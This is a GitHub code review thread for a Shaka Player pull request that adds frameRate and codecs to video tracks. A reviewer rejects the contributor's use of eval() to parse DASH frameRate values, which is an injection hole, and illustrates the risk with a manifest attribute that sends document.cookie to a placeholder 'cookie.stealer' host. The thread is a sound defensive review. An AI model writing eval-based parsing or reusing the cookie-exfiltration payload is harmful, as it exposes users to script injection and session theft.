Provide framerate and codecs information on video tracks #533
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| * @property {?number} frameRate | ||
| * (only for video tracks) The video framerate provided in the manifest. | ||
| * @property {?string} codecs | ||
| * (only for audio and video tracks) The audio/video codecs string provided |
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Text streams can also have a codecs string, although it is not always required. I suggest dropping the parenthetical statement and adding the caveat "if present" after "in the manifest".
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| * (only for video tracks) The width of the track in pixels. | |||
| * @property {?number} height | |||
| * (only for video tracks) The height of the track in pixels. | |||
| * @property {?number} frameRate | |||
| * (only for video tracks) The video framerate provided in the manifest. | |||
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This information is not required or used in streaming or setup, so how about"provided in the manifest, if present."
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Style nit: drop this extra line, please
| var frameRate = XmlUtils.parseAttr(elem, 'frameRate', | ||
| function(expr) { | ||
| // frameRate can be an expression e.g. "1000000/42000" | ||
| return parseFloat(String(eval(expr))); |
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Sorry, but for security reasons, we will absolutely not accept "eval".
Imagine somebody sends you a manifest with:
<Representation
frameRate="window.href='http://cookie.stealer/?'+document.cookie"
/>Or literally any other malicious thing you can think of: full-screen ads, redirection to a phishing site, anything.
If you need to parse a fraction, you'll have to write a parser. Perhaps you could add it to XmlUtils.
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Oh, of course. Very sorry about this. Don't know what I was thinking. Will fix this of course
| @@ -47,7 +47,9 @@ shaka.offline.OfflineUtils.getStoredContent = function(manifest) { | |||
| language: stream.language, | |||
| kind: stream.kind || null, | |||
| width: stream.width, | |||
| height: stream.height | |||
| height: stream.height, | |||
| frameRate: stream.frameRate || null, | |||
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You'll need to add frameRate and codecs to the externs for streams stored in the database (shakaExtern.StreamDB), and you'll need to add these properties to the code which stores streams offline (shaka.offline.Storage.prototype.createStream_).
| var n; | ||
| if (res = exprString.match(/^(\d+)\/(\d+)$/)) { | ||
| n = Number(res[1] / res[2]); | ||
| } else if (res = exprString.match(/^([0-9]\.)$/)) { |
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With this match, Number(res[1]) is the same as Number(exprString), so I would just drop this else if completely.
| @@ -136,13 +136,15 @@ describe('DashParser.Manifest', function() { | |||
| .presentationTimeOffset(0) | |||
| .mime('video/mp4', 'avc1.4d401f') | |||
| .bandwidth(100) | |||
| .frameRate(23.80952380952380952380) | |||
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The precision here is worrying. Are all of these digits required to get a match out of Jasmine?
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To be honest I haven't tested with a lower precision so I don't know if all of these digits are required
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I did a test and it seems that Jasmine requires full precision here.
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Okay, then. Please add a comment like:
// TODO: get Jasmine to match with less precisionAnd my team will work on it later.
…framerate in manifest unit tests
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Testing in progress... |
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All tests passed! |
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Solves #516